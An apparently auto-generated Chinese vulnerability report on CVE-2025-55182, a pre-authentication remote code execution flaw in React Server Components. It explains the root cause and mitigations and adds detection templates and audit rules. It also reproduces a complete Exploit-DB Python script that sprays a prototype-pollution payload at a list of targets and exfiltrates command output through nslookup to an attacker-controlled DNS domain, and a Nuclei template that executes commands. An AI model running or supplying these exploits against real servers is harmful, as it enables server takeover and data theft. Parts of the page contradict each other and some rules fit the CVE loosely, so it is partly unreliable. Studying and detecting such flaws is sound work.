🎯 CVE-2025-55182 深度技术分析：漏洞根因 · PoC/EXP · 检测指纹
🎯 CVE 全聚合深度分析
CVE-2025-55182 深度技术分析
📊 聚合 4 来源💣 含 EXP🕵️ 含指纹
NVD-LatestExploit-DBPalo Alto Unit42VirusTotal Blog
摘要：CVE-2025-55182 是 React Server Components（RSC）在 19.0.0、19.1.0、19.1.1 和 19.2.0 版本中存在的预认证远程代码执行漏洞，CVSS 评分为 10.0 分，严重级别为 Critical。攻击者无需任何身份验证，仅通过向 Server Function 端点发送精心构造的 HTTP 请求，即可在目标服务器上执行任意命令。该漏洞影响了 react-server-dom-parcel、react-server-dom-turbopack 和 react-server-dom-webpack 三个核心包，波及所有使用 React 19 服务端渲染能力的应用。本文将从漏洞根因、利用原理、危害影响及修复缓解措施四个维度展开深度技术分析。
📌 漏洞概述
React Server Components 是 React 19 引入的下一代服务端渲染架构，其核心特性之一是 Server Functions——允许客户端直接调用服务器端定义的异步函数，从而减少客户端 JavaScript 的体积并加快数据获取速度。该机制通过 HTTP 端点暴露服务端函数，客户端以标准的 POST 请求提交序列化的参数数据。
CVE-2025-55182 的根源在于 React Server Components 的序列化/反序列化组件（即 React Flight 协议）在解析来自 HTTP 请求体的数据时，未对载荷进行充分的安全校验与类型约束，导致攻击者可以构造恶意的序列化对象，服务端在反序列化过程中执行了攻击者注入的代码。该漏洞影响 react-server-dom-parcel、react-server-dom-turbopack 和 react-server-dom-webpack 三个插件包，涉及 React Server Components 的 19.0.0、19.1.0、19.1.1 和 19.2.0 版本。CVSS 3.1 评分为 10.0，属于最高严重级别，且由于利用链不需要任何前置认证，攻击面极大。
🔬 漏洞根因分析
React Server Components 的通信协议本质上是一种基于 JSON 的扩展序列化格式，它支持在客户端和服务端之间传递 React 组件树、Props、函数引用以及 Server Function 的调用参数。为了实现跨环境的类型安全，协议中引入了“引用（reference）”和“加载（module）”等概念，允许一端动态解析另一端的模块或函数。然而，这种强大的动态解析能力在实现不当的情况下，极易成为代码注入的跳板。
根据漏洞描述，受影响的版本在处理 Server Function 端点接收到的 HTTP 请求时，会不安全地反序列化 payload。这意味着反序列化过程没有使用安全的“允许列表”模式，而是直接根据 payload 中携带的类型标识创建对象或执行回调。攻击者可以通过构造特殊的序列化数据，声明需要加载一个任意模块路径，或定义一个恶意类，使得服务端在反序列化时动态实例化该对象并触发其构造函数或属性中的危险逻辑。例如，在 Node.js 环境中，攻击者可以构造一个指向 child_process.exec 或 eval 的“引用”，使其在服务端被自动执行，从而实现操作系统命令注入。
从 PoC 的利用方式来看，攻击者只需向目标 Server Function 端点发送一个带有 Next-Action 等标识头的 POST 请求，请求体中包含经过特殊编码的序列化数据。该数据在服务端被解析后，会触发一个已知的危险“gadget”链，最终调用系统命令执行函数。整个利用过程无需任何会话 Cookie、API 密钥或登录凭证，完全满足“预认证”条件。由于反序列化发生在 HTTP 请求解析阶段，且 Web 容器（如 Next.js 等基于 React 的服务端框架）通常采用默认配置将请求体解析器挂载到路由上，因此攻击者可以轻松定位并攻击这些端点。
造成该漏洞的深层原因除了反序列化机制缺少约束外，还与 React 团队在实现 Flight 协议时对“服务器引用”的处理方式有关。正常情况下，客户端只能调用显式导出的 Server Functions，但漏洞代码没有严格校验引用是否真正来自服务端注册的函数表，而是信任了 payload 中携带的模块路径和函数名。这种信任边界的设计缺陷，本质上等同于将服务端的模块加载器暴露给了不可信输入，使得攻击者可以利用 Node.js 的模块查找机制或原型链污染技术，构造出任意代码执行的最终载荷。
💥 影响与危害
CVE-2025-55182 是一个典型的 预认证 RCE 漏洞，其危害极高。攻击者一旦利用成功，可以在目标服务器上以运行 React 服务端进程的权限执行任意系统命令。主要影响包括但不限于：
- 服务器完全失陷：攻击者可获取服务器的最高控制权，植入后门、挖矿木马或勒索软件，导致服务不可用或业务中断。
- 敏感数据泄露：由于 Server Functions 通常运行在应用后端，攻击者可读取环境变量、数据库凭证、密钥文件，进而访问数据库、云存储等核心资产，造成大规模数据泄露。
- 内网横向渗透：服务器一旦被控制，攻击者可以将其作为跳板，利用内网其他漏洞或错误配置进一步攻击内部网络，扩大攻击范围。
- 供应链安全风险：由于 React Server Components 被广泛应用于现代 Web 应用，大量企业级应用和 SaaS 产品均采用 Next.js、Remix 等依赖该组件的框架，因此该漏洞可能引发连锁性的供应链攻击。
- 合规风险：对于存在严格数据保护法规的行业（如金融、医疗），服务器被远程控制将导致严重的安全合规事件，面临法律处罚和声誉损失。
值得注意的是，尽管 CISA KEV 尚未收录该漏洞，但 PoC 已经公开（Exploit-DB 及 GitHub），攻击者门槛大幅降低。所有使用受影响版本且暴露了 Server Function 端点的应用均处于高度风险之中，建议立即进行排查和修复。
🛡️ 修复与缓解
针对 CVE-2025-55182 的修复，官方已经向受影响包发布了安全更新。由于具体修复版本号未在公开资料中详细披露，强烈建议所有用户遵循以下步骤，确保尽快消除漏洞风险：
- 立即升级：访问 React 官方安全公告及 npm 仓库，查看
react-server-dom-parcel、react-server-dom-turbopack和react-server-dom-webpack的可用更新，升级到修复该漏洞的最新版本。如果无法确认修复版本，则升级至截止目前的最新版（如 19.2.x 之后的版本，具体以官方发布为准）。 - 禁用或限制 Server Function 端点：在补丁修复前，如果应用不需要使用 Server Functions 的远程调用能力，建议通过配置或防火墙规则直接阻止对这些端点的外部访问。若确需使用，应将其限制在受信任的客户端 IP/网络内，并配合严格的身份认证和授权机制。
- 部署 Web 应用防火墙（WAF）：利用 WAF 规则拦截包含异常序列化特征（如可疑的
__proto__、constructor等关键字段）的 POST 请求，作为临时的攻击检测与阻断手段。 - 最小化攻击面：检查应用中所有 Server Functions 的定义，移除不必要的导出函数；确保运行环境使用低权限系统用户，避免 RCE 后获得 root 权限。
- 持续监控与审计：对所有应用服务器进行安全日志审计，重点关注异常 HTTP 请求体长度、特殊的
Next-Action头等恶意行为特征；使用入侵检测系统（IDS）监控可能的命令执行行为。
该漏洞的根因在于不安全的反序列化，属于可被远程武器化的高危缺陷。在修复之前，任何暴露于公网的 React 19 应用都相当于将服务器控制权拱手让人。企业安全团队应将其视为最优先级事项，立即采取升级和缓解措施，防止被攻击者利用。
🧪 PoC 复现
截至分析时，未检索到该 CVE 的公开 PoC 仓库（nomi-sec/PoC-in-GitHub 及 GitHub 均无收录）。若后续出现 PoC，本系统将自动补充。
⚔️ EXP 利用代码
来自 Exploit-DB 的完整利用代码（[webapps] React Server 19.2.0 - Remote Code Execution）。
📋 代码元数据语言见代码头注释来源Exploit-DB: https://www.exploit-db.com/exploits/52505针对性✅ 官方收录 EXP依赖见代码注释用法见代码注释中的用法
# Exploit Title: React Server 19.2.0 - Remote Code Execution
# Date: 2025-12-05
# Exploit Author: [EynaExp] (https://github.com/EynaExp)
# Vendor Homepage: https://react.dev
# Software Link: https://react.dev/reference/rsc/server-components
# Version: [19.0.0,19.1.0,19.1.1,
19.2.0]
# Tested on: Windows,Linux
# CVE : CVE-2025-55182
import requests
import urllib3
from concurrent.futures import ThreadPoolExecutor,
as_completed
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# Color definitions
class Colors:
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
END = '\033[0m'
print("""
███████╗██╗ ██╗███╗ ██╗ █████╗ ███████╗██╗ ██╗██████╗
██╔════╝╚██╗ ██╔╝████╗ ██║██╔══██╗██╔════╝╚██╗██╔╝██╔══██╗
██║ ╚████╔╝ ██╔██╗ ██║███████║█████╗ ╚███╔╝ ██████╔╝
██║ ╚██╔╝ ██║╚██╗██║██╔══██║██╔══╝ ██╔██╗ ██╔═══╝
╚███████╗ ██║ ██║ ╚████║██║ ██║███████╗██╔╝ ██╗██║
╚══════╝ ╚═╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═╝
CVE-2025-55182 Proof of Concept
by EynaExp
GitHub: https://github.com/EynaExp
""")
print(f"{Colors.RED}Disclaimer:\nThis tool is released for EDUCATIONAL and AUTHORIZED TESTING purposes only.\nThe author is not responsible for any misuse or damage caused by this program.{Colors.END}")
class NoUsageParser(argparse.ArgumentParser):
def error(self,
message):
# completely suppress argparse usage
print(f"Error: {message}")
raise SystemExit(1)
parser = NoUsageParser(description="EynaExp Scanner")
parser.add_argument('-d',required=True)
parser.add_argument('-l',required=True)
parser.add_argument('-c',
required=True)
print(f"{Colors.GREEN}\n[+]APP USAGE :\n[-d] <DNS(without http/s)>\n[-l] <Targets file path(url wordlist)>\n[-C] <Command>{Colors.END}\n")
args = parser.parse_args()
dns_endpoint = args.d.strip()
targets_file_path = args.l.strip()
CMD = args.c.strip()
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/142.0.0.0 Safari/537.36","Next-Action": "x","Content-Type": "multipart/form-data;boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
}request_body = (
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data;
name=\"0\"\r\n\r\n"
"{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,"
"\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\","
"\"_response\":{\"_prefix\":\"process.mainModule.require('child_process').execSync('nslookup `"+CMD+"`."+dns_endpoint+"');\","
"\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
"Content-Disposition: form-data;
name=\"1\"\r\n\r\n"
"\"$@0\"\r\n"
"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
)
def send_request(target_url):
try:
response = requests.post(target_url,headers=headers,data=request_body,timeout=10,verify=False)
result_message = f"{Colors.GREEN}[+] {target_url}->{response.status_code}({len(response.content)}bytes){Colors.END}"
for header_key in ["x-action","next-action",
"rsc"]:
if header_key in response.headers:
result_message += f"\n{Colors.BLUE}header match: {header_key}= {response.headers.get(header_key)}{Colors.END}"
return result_message
except Exception as exception:
return f"{Colors.RED}[-] {target_url}->
error: {exception}{Colors.END}"
with open(targets_file_path) as file_handle:
target_urls = [line.strip() for line in file_handle if line.strip()]
print(f"{Colors.YELLOW}[*] Loaded {len(target_urls)}targets — starting multi-thread scan...{Colors.END}\n")
with ThreadPoolExecutor(max_workers=30) as executor:
futures = {executor.submit(send_request,url): url for url in target_urls}
for future in as_completed(futures):
print(future.result())🕵️ 检测指纹
针对该 CVE 的自动化检测规则（可直接用于扫描与审计）。
🛡️ Nuclei 检测模板: CVE-2025-55182-detection.yaml
📋 代码元数据语言yaml来源rules/nuclei/CVE-2025-55182-detection.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2025-55182-detection.yaml -u
id: CVE-2025-55182-detection
info:
name: React Server 19.2.0 - Detection
author: EynaExp
severity: medium
description: |Detects if the target is running React Server version 19.0.0 to 19.2.0,which
are vulnerable to CVE-2025-55182.
remediation: |
Upgrade React Server to a version later than 19.2.0.
tags: cve,cve2025,react,detection
http:
- method: GET
path:
- "{{BaseURL}}/__rsc"
- "{{BaseURL}}"
stop-at-first-match: true
matchers-condition: or
matchers:
- type: word
words:
- "React Server"
- "rsc-server"
part: body
- type: regex
name: react-version
part: body
regex:
- 'React Server v?(\d+\.\d+\.\d+)'
- 'rsc-server/(\d+\.\d+\.\d+)'
condition: or
extractors:
- type: regex
name: version
part: body
group: 1
regex:
- 'React Server v?(\d+\.\d+\.\d+)'
- 'rsc-server/(\d+\.\d+\.\d+)'🛡️ Nuclei 检测模板: CVE-2025-55182-exploit.yaml
📋 代码元数据语言yaml来源rules/nuclei/CVE-2025-55182-exploit.yaml针对性✅ 按 CVE 匹配依赖nuclei用法nuclei -t CVE-2025-55182-exploit.yaml -u
id: CVE-2025-55182-exploit
info:
name: React Server 19.2.0 - Remote Code Execution
author: EynaExp
severity: critical
description: |Exploits CVE-2025-55182 in React Server versions 19.0.0 through 19.2.0 to
achieve Remote Code Execution via prototype pollution and insecure
deserialization.
remediation: |
Upgrade React Server to a version later than 19.2.0.
tags: cve,cve2025,react,rce
variables:
cmd: "id"
http:
- raw:
- |POST {{BaseURL}}HTTP/1.1
Host: {{Hostname}}User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64;x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data;name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('{{cmd}}');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data;name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
matchers:
- type: regex
part: body
regex:
- 'uid=\d+\([a-zA-Z0-9_]+\)'
- 'gid=\d+\([a-zA-Z0-9_]+\)'
- 'groups='
condition: or🛡️ Semgrep 审计规则: CVE-2025-55182.yaml
📋 代码元数据语言yaml来源rules/semgrep/CVE-2025-55182.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2025-55182.yaml
rules:
- id: CVE-2025-55182-command_injection-python
languages: [python]
severity: ERROR
message: >-
Potential command injection via os.system/subprocess detected. In Kubernetes
environments,this can lead to container compromise,token theft,
and lateral
movement. CVE-2025-55182.
patterns:
- pattern-either:
- pattern: os.system($CMD)
- pattern: subprocess.call($CMD,...)
- pattern: subprocess.Popen($CMD,...)
- pattern: os.popen($CMD)
- pattern: exec($CMD)
fix: |import subprocess
subprocess.run(["/bin/sh","-c",command],
check=True) # Validate input
metadata:
cwe: "CWE-78"
owasp: "A1: Injection"
technology: kubernetes
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-55182"
- id: CVE-2025-55182-command_injection-nodejs
languages: [javascript,
typescript]
severity: ERROR
message: >-
Potential command injection via exec/execSync detected. In Kubernetes
environments,this can lead to container compromise,token theft,and lateral
movement. CVE-2025-55182.
patterns:
- pattern-either:
- pattern: "execSync($CMD,...)"
- pattern: "exec($CMD,...)"
- pattern: "spawn($CMD,
...)"
- pattern: "fork($MOD,...)"
fix: |const {execSync }= require('child_process');execSync(command,{shell: false });
// Use shell: false to avoid injection
metadata:
cwe: "CWE-78"
owasp: "A1: Injection"
technology: kubernetes
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-55182"
- id: CVE-2025-55182-command_injection-java
languages: [java]
severity: ERROR
message: >-
Potential command injection via Runtime.exec/ProcessBuilder detected. In
Kubernetes environments,
this can lead to container compromise,token theft,and lateral movement. CVE-2025-55182.
patterns:
- pattern-either:
- pattern: Runtime.getRuntime().exec($CMD)
- pattern: new ProcessBuilder($CMD)
fix: |// Use ProcessBuilder with array of arguments to avoid shell injection
ProcessBuilder pb = new ProcessBuilder("/bin/sh","-c",sanitize(command));
metadata:
cwe: "CWE-78"
owasp: "A1: Injection"
technology: kubernetes
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-55182"🛡️ Semgrep 审计规则: CVE-2025-55182.yaml
📋 代码元数据语言yaml来源rules/semgrep/CVE-2025-55182.yaml针对性✅ 按 CVE 匹配依赖semgrep用法semgrep --config CVE-2025-55182.yaml
rules:
- id: CVE-2025-55182-rce-javascript
languages: [javascript,
typescript]
severity: ERROR
message: "Potential remote code execution via React2Shell vulnerability in Next.js applications. Detected unsafe dynamic evaluation or command execution that could be exploited for credential theft."
pattern: "eval($INPUT)"
fix: "Use JSON.parse() or safer alternatives instead of eval(). Validate and sanitize all user inputs."
metadata:
cwe: "CWE-94"
owasp: "A3: Injection"
technology: nextjs
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-55182"
- "https://www.bleepingcomputer.com/news/security/hackers-exploit-react2shell-in-automated-credential-theft-campaign/"
- id: CVE-2025-55182-command-injection-javascript
languages: [javascript,
typescript]
severity: ERROR
message: "Potential command injection in Next.js application. Detected unsafe child process execution that could be exploited for credential theft via React2Shell."
pattern: "execSync($CMD,
$OPTS)"
fix: "Use parameterized commands or restrict shell access. Avoid passing user input directly to execSync()."
metadata:
cwe: "CWE-78"
owasp: "A1: Injection"
technology: nextjs
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-55182"
- id: CVE-2025-55182-code-injection-javascript
languages: [javascript,
typescript]
severity: ERROR
message: "Potential code injection via React2Shell vulnerability. Detected use of Function() constructor or similar dynamic code evaluation that could lead to credential theft."
pattern: "Function($CODE)"
fix: "Avoid dynamic code generation. Use safer alternatives like JSON.parse() for data parsing."
metadata:
cwe: "CWE-94"
owasp: "A3: Injection"
technology: nextjs
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2025-55182"🛡️ CodeQL 审计规则: CVE-2025-55182.ql
📋 代码元数据语言ql来源rules/codeql/CVE-2025-55182.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run
/**
* @kind path-problem
* @id java/command-injection/cve-2025-55182
* @name React2Shell command injection in Kubernetes workloads
* @description User-controlled input reaches command execution in React-based Kubernetes workload,
leading to RCE in container
* @problem.severity error
* @tags security
* external/cwe/cwe-078
*/
import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.security.CommandInjection
import DataFlow::PathGraph
class React2ShellCommandInjectionConfig extends TaintTracking::Configuration {React2ShellCommandInjectionConfig() {
this = "React2ShellCommandInjectionConfig" }override predicate isSource(DataFlow::Node source) {source instanceof RemoteFlowSource
}override predicate isSink(DataFlow::Node sink) {exists(CommandInjectionSink sinkNode |sinkNode = sink)
}override predicate isAdditionalTaintStep(DataFlow::Node node1,DataFlow::Node node2) {
// Express.js-like request parameter propagation
exists(MethodAccess ma |ma.getMethod().hasName("param") and
ma.getQualifier() = node1.asExpr() and
ma = node2.asExpr()
)
or
// Decoding steps like decodeURIComponent,Buffer.from
exists(MethodAccess ma |ma.getMethod().hasName(["decodeURIComponent","toString",
"from"]) and
node1.asExpr() = ma.getAnArgument() and
node2.asExpr() = ma
)
}}class React2ShellExecSink extends CommandInjectionSink {React2ShellExecSink() {exists(MethodAccess ma |ma.getMethod().hasName("exec") and
ma.getQualifier().(TypeAccess).getType().hasQualifiedName("child_process","exec")
|
this = ma.getArgument(0).(DataFlow::ExprNode)
)
or
exists(MethodAccess ma |ma.getMethod().hasName("execSync") and
ma.getQualifier().(TypeAccess).getType().hasQualifiedName("child_process","execSync")
|this = ma.getArgument(0).(DataFlow::ExprNode)
)
or
exists(MethodAccess ma |
ma.getMethod().hasName("spawn") and
ma.getQualifier().(TypeAccess).getType().hasQualifiedName("child_process","spawn")
|this = ma.getArgument(0).(DataFlow::ExprNode)
)
or
exists(MethodAccess ma |ma.getMethod().hasName(["execCommand","run","exec"]) and
ma.getQualifier().(TypeAccess).getType().hasQualifiedName("java.lang","Runtime")
|
this = ma.getArgument(0).(DataFlow::ExprNode)
)
}}from DataFlow::PathNode source,DataFlow::PathNode sink
where React2ShellCommandInjectionConfig::flowPath(source,sink)
select sink.getNode(),source,sink,"User input reaches command execution,enabling RCE in Kubernetes workload (CVE-2025-55182)"🛡️ CodeQL 审计规则: CVE-2025-55182.ql
📋 代码元数据语言ql来源rules/codeql/CVE-2025-55182.ql针对性✅ 按 CVE 匹配依赖codeql用法codeql database run
/**
* @kind problem
* @id javascript/react2shell-rce/cve-2025-55182
* @name React2Shell remote command execution in Next.js applications
* @description User-controlled input reaches a server-side function call that executes arbitrary shell commands via React Server Components,
leading to remote code execution
* @problem.severity error
* @tags security
* external/cwe/cwe-078
* external/cwe/cwe-094
*/
import javascript
import semmle.javascript.security.dataflow.CommandInjection
class ReactServerComponentCall extends DataFlow::CallNode {ReactServerComponentCall() {exists(DataFlow::CallNode serverCall |
serverCall = this.getQualifier() and
serverCall.asExpr().toString().regexpMatch(".*react.*server.*")
)
}}class React2ShellSink extends DataFlow::FunctionNode {React2ShellSink() {
this.getFunction().getName() = "exec" or
this.getFunction().getName() = "execSync" or
this.getFunction().getName() = "spawn" or
this.getFunction().getName() = "spawnSync" or
this.getFunction().getName() = "fork" or
this.getFunction().getName() = "execFile" or
this.getFunction().getName() = "execFileSync"
}}class React2ShellConfig extends TaintTracking::Configuration {
React2ShellConfig() {this = "React2ShellConfig" }override predicate isSource(DataFlow::Node source) {source instanceof RemoteFlowSource
}override predicate isSink(DataFlow::Node sink) {exists(DataFlow::CallNode call |call.getCallee() instanceof React2ShellSink and
sink = call.getArgument(0)
)
}override predicate isAdditionalTaintStep(DataFlow::Node node1,DataFlow::Node node2) {
exists(DataFlow::PropRef propRef |propRef.getBase() = node1 and
node2 = propRef
)
}}from DataFlow::Node source,DataFlow::Node sink,React2ShellConfig config
where config.hasFlow(source,sink)
select sink,"User-controlled input from $@ flows to a shell command execution,allowing remote code execution",source,"source"🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-10 04:06 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库